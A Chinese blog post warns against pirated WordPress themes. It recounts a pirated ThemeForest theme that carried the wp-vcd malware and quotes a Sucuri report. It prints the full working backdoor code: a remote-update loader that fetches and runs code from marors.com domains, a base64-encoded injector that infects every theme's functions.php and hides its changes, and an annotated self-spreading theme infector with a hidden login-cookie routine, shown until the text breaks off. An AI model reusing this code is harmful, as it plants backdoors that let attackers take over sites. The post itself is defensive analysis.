主题森林相信国内 WordPress 用户都很熟习,来自该网站的收费主题在国内盗版横行,一些无良者对主题进行所谓优化、汉化后直接出售,更有甚者居然还有冒充国内代理的。主题森林大部分主题并不像国内主题需要加密绑域名或远程验证防盗版,因为国外用盗版是严重的犯罪行为根本不需要这个,如果告不了不盗版使用者,可以直接告主机商,不知道这个国内是否可行。并且在主题森林购买主题后可以退款,因为主题并没有任何防范措施,主题森林并不会收回你已获得的主题包,你可以完全正常使用。什么时候国内能有这种让我们大中华人民不可理解的商业行为,相信国内会有更多优秀的 WordPress 主题出现。
这里转篇应该是来自孟加拉的一个WordPress 用户,使用盗版 WordPress 主题的可怕经历。
笔者为了测试兼容性,谷歌上搜索并在一个专门提供盗版主题下载的网站,下载了一款来自Theme Forest(主题森林)的高级收费主题,笔者虽然也感觉有些可疑但并没多想,直接在本地环境中安装并启用。
笔者本身有一定的技术,也怕主题中捆绑恶意代码,还特意查看一下主题函数模板functions.php中有无可疑代码,但并未发现可疑的东西,于是勇敢地激活启用主题,还有些小鸡冻!
当完成测试切换到WP默认主题后,Query Monitor 监视器插件发出警告。
于是笔者打开当前主题的functions.php发现如下代码:
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) { $div_code_name = "wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) { $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']) , $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if (!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if (fwrite($handle, "<?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key = '358d76c863c31b2e1a46192808b08590'; if (($tmpcontent = @file_get_contents("http://www.marors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.marors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.marors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.marors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } // $start_wp_theme_tmp // wp_tmp // $end_wp_theme_tmp ?>
通过这些代码,攻击者可以按自己的意愿在主题或服务器中推送任何代码。笔者庆幸自己没有在主机环境中安装这个主题,否则不知道会发生什么!
但当笔记切换到其它主题时,Query Monitor 监视器插件依然发出警告。经查看发现,所有WordPress本地环境中主题的functions.php文件都被这个代码感染了,这太可怕了 !
删除代码后,Query Monitor 监视器插件仍然报告相同的错误,那怎么可能呢 ?再次打开文件,令人惊讶的是代码又出现了!最终判定在向主题中注入代码的同时,它肯定还做了一些其他的事情。看来需要检查WordPress核心文件了,经查创建了两个新文件并修改了一个核心文件包括文件夹。其中一个文件名称:wp-vcd.php,代码如下:
<?php error_reporting(0); // gICAgICAgICAgICA ini_set('display_errors', 0); // 2V0KCRfUkVRVUVTVFsn $install_code = 'PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkKCXsKJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgoJCQkJCgoKCgoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQoJCQkJCQl7CgkJCQkJCQkKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpCgkJCQkJCQkJewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaF9hbGwoJy9cJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHNcKCJodHRwOlwvXC8oLiopXC9jb2RlXC5waHAvaScsJGZpbGUsJG1hdGNob2xkZG9tYWluKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gcHJlZ19yZXBsYWNlKCcvJy4kbWF0Y2hvbGRkb21haW5bMV1bMF0uJy9pJywkX1JFUVVFU1RbJ25ld2RvbWFpbiddLCAkZmlsZSk7CgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOwoJCQkJCQkJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAidHJ1ZSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgoKCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoKCQkJCQkJCQljYXNlICdjaGFuZ2VfY29kZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJewoJCQkJCQkJCgkJCQkJCQlpZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJCQl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpCgkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoX2FsbCgnL1wvXC9cJHN0YXJ0X3dwX3RoZW1lX3RtcChbXHNcU10qKVwvXC9cJGVuZF93cF90aGVtZV90bXAvaScsJGZpbGUsJG1hdGNob2xkY29kZSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CgoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCRtYXRjaG9sZGNvZGVbMV1bMF0sIHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ25ld2NvZGUnXSksICRmaWxlKTsKCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkZmlsZSk7CgkJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJ0cnVlIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCgoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50IC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Ghfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgCiAgICAgICAgZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5tYXJvcnMucHcvY29kZS5waHAiKSAgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlICkgewoKaWYgKHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1pbmNsdWRlcy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCd3cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CiAgICAgICAgfSAKCQkKCQkgICAgICAgIGVsc2VpZiAoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cubWFyb3JzLnRvcC9jb2RlLnBocCIpICBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UgKSB7CgppZiAoc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CgkJZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgZXh0cmFjdCh0aGVtZV90ZW1wX3NldHVwKCR0bXBjb250ZW50KSk7CiAgICAgICAgICAgCiAgICAgICAgfSBlbHNlaWYgKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICcvd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygnd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICB9Cn0KCi8vJHN0YXJ0X3dwX3RoZW1lX3RtcAoKCgovL3dwX3RtcAoKCi8vJGVuZF93cF90aGVtZV90bXAKPz4='; $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}', $install_hash, base64_decode($install_code)); $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'; $ping = true; $ping2 = false; if ($list = scandir($themes)) { foreach($list as $_) { if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $time); } else { $ping = false; } } } else { $list2 = scandir($themes . DIRECTORY_SEPARATOR . $_); foreach($list2 as $_2) { if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content); touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $time); $ping2 = true; } else { // $ping = false; } } } } } } if ($ping) { $content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); // @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt')); } if ($ping2) { $content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); // @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt')); // echo ABSPATH . 'wp-includes/class.wp.php'; } } ?><?php error_reporting(0); ?>
最后想说的
请不要在自己的网站上使用任何盗版主题和插件,不要相信那些提供的网站,否则将使你的宝贵数据丢失或者被黑客攻击。
严正声明:请不要尝试将本文的恶意代码复制到主题中,后果自负!
很多年前,我也喜欢尝试安装各种主题和插件,遇到过functions.php文件被感染的情况,也看过其它 WordPress 网站中过此招,这里奉劝大家小心为上!
网上查了一下这个wp-vcd文件:
Sucuri安全小组警告所有WordPress的网站管理员,有必要检查一下自己的网站中是否存在一款名为“wp-vcd”的恶意软件。
wp-vcd,一款隐藏在合法WordPress文件中的恶意软件,用于添加一个隐藏的网站管理员账户并授权攻击者控制受感染的网站。
wp-vcd最初由意大利安全研究员曼Manuel D'Orso在今年夏天发现,wp-vcd的初始版本通过一个名为“wp-vcd.php”文件将恶意代码注入到WordPress核心文件中,比如functions.php和class.wp.php。
wp-vcd发起的攻击规模并不算大,但在过去的几个月里,一直处于活跃状态。
在上周,Sucuri安全小组发现了wp-vcd的一个新变种,它能够将恶意代码注入到以Twenty Fifteen和Twenty Sixteen为主题的WordPress网站中,它们分别是2015年和2016年发布的WordPress CMS的默认主题。虽然有些过时,但仍然在大量WordPress网站中被使用。
Sucuri在上周发布的安全警示中表示:“代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图。”
攻击者利用这两款主题的文件来隐藏wp-vcd的恶意代码。此代码会创建一个名为100010010的新管理员账户。此后门帐户的目的是打开与受感染网站的连接,以便攻击者可以在日后发起跨站脚本攻击。
根据Sucuri的说法,攻击者正是利用了过时的插件和主题中存在的漏洞将wp-cvd上传到了易受攻击的站点上。如果网站管理员使用了任何基本的Web应用程序防火墙(WAF)来发现并阻止对核心WordPress文件的修改,那么wp-vcd的攻击是不可能成功的。
更糟糕的是,wp-cvd并不是唯一一个被发现威胁到WordPress网站安全的问题。另外两个非常受欢迎的WordPress插件——Yoast SEO(超过500万次安装)和Formidable Forms(超过20万次安装)也被爆出存在安全漏洞。
安全研究员Ryan Dewhurst在Yoast SEO插件中发现了一个跨站点脚本(XSS)漏洞,允许攻击者在易受攻击的站点上注入恶意代码,可被用于钓鱼WordPress网站管理员的登录凭证。
而安全研究员JoukoPynnönen的发现更是令人后怕,他在Formidable Forms插件中发现了数个安全漏洞,包括SQL注入漏洞、多个跨站点脚本(XSS)漏洞、未经验证的数据检索等等,允许攻击者转储易受攻击站点的数据库。
来源:https://www.sohu.com/a/205840911_100066938
另一段很多年前流行的恶意代码,本人N年前刚开始学习折腾WP时就中过招。
注释说明版
<?php function _verifyactivate_widgets(){ //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php //查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容 $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?")); $output=""; $allowed=""; //去除html和php标签,其实这一句是扯蛋。。。 $output=strip_tags($output, $allowed); //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。 //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径 $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ //如果主题functions.php文件可写 if (is_writable($item)){ //特征码 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); //取目标functions.php文件内容 $cont=file_get_contents($item); //没找到特征码?OK,试图感染 if (stripos($cont,$ftion) === false){ //查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记 $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。 $output .= $before . "Not found" . $after; //如果文件是以 ?> 标记结尾的,连标记一起取过来 if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码 $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); //后面这句也是伪装用的 $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ //从$wids数组弹出一个元素(实际上是一个位置) $places=array_shift($wids); //如果位置字串是以/结尾的,则去掉/ if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } //若不存在这样的文件或目录则直接返回false if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ //否则的话。。。嘿嘿 //遍历此目录 $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ //如果是目录,则加入$wids数组 if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的 $items[]=$places . "/" . $elem;} } } }else{ return false; } //下面还有子目录?再找找看,递归 if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径 return $items; } } //下面是3个针对低版本的php而写的兼容函数 if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } //这个动作添加了,用于检测所有主题目录下functions.php并感染 add_action("admin_head", "_verifyactivate_widgets"); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed="<a>"; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) //这个实际是wp_set_auth_cookie $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; //如果 _is_widget_active_ option内容为空,即表示没有被感染过 if (!$widget_yes) : global $wpdb, $post; //取出存在已经通过的评论(不包括trackback/pingback)的文章 // post_author 为 livethemas@gmail.com 的文章,肯定是没有的 $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a 